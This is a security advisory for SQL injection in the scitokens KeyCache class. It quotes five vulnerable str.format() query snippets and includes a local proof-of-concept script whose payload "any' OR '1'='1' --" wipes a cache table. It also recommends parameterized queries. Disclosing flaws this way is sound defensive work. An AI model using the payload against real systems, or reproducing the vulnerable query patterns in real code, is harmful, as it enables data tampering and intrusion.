PYSEC-2026-530

### Summary The `KeyCache` class in `scitokens` was vulnerable to SQL Injection because it used Python's `str.format()` to construct SQL queries with user-supplied data (such as `issuer` and `key_id`). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

### Details **File:** `src/scitokens/utils/keycache.py`

### Vulnerable Code Snippets

**1. In `addkeyinfo` (around line 74):** ```python curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id)) ```

**2. In `_addkeyinfo` (around lines 89 and 94):** ```python insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \ '{keydata}', '{next_update}')" # ... curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id, keydata=json.dumps(keydata), next_update=time.time()+next_update)) ```

**3. In `_delete_cache_entry` (around line 128):** ```python curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id)) ```

**4. In `_add_negative_cache_entry` (around lines 148 and 152):** ```python insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \ '{keydata}', '{next_update}')" # ... curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id, keydata=keydata, next_update=time.time()+cache_retry_interval)) ```

**5. In `getkeyinfo` (around lines 193 and 198):** ```python key_query = ("SELECT * FROM keycache WHERE " "issuer = '{issuer}'") # ... curs.execute(key_query.format(issuer=issuer, key_id=key_id)) ```

### PoC ``` import sqlite3 import os import sys import tempfile import shutil import time import json from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization

def poc_sql_injection(): print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---") # We will demonstrate the vulnerability by manually executing the kind of query # that WAS present in the code, showing how it can be exploited. # Setup temporary database fd, db_path = tempfile.mkstemp() os.close(fd) conn = sqlite3.connect(db_path) curs = conn.cursor() curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))") # Add legitimate entries curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600)) curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600)) conn.commit() curs.execute(" SELECT count(*) FROM keycache") print(f"Count before injection: {curs.fetchone()[0]}") # MALICIOUS INPUT # The original code was: # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id)) malicious_issuer = "any' OR '1'='1' --" malicious_kid = "irrelevant" print(f"Simulating injection with issuer: {malicious_issuer}") # This simulates what the VULNERABLE code did: query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid) print(f"Generated query: {query}") curs.execute(query) conn.commit() curs.execute("SELECT count(*) FROM keycache") count = curs.fetchone()[0] print(f"Count after injection: {count}") if count == 0: print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!") conn.close() os.remove(db_path)

if __name__ == "__main__": poc_sql_injection() ``` ### Impact An attacker who can influence the `issuer` or `key_id` (e.g., through a malicious token or issuer endpoint) could: 1. **Modify or Delete Cache Entries:** Clear the entire key cache or inject malicious keys. 2. **Information Leakage:** Query other tables or system information if SQLite is configured with certain extensions. 3. **Potential RCE:** In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using `ATTACH DATABASE` to write a malicious file).

### MITIGATION AND WORKAROUNDS Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., `?` for SQLite).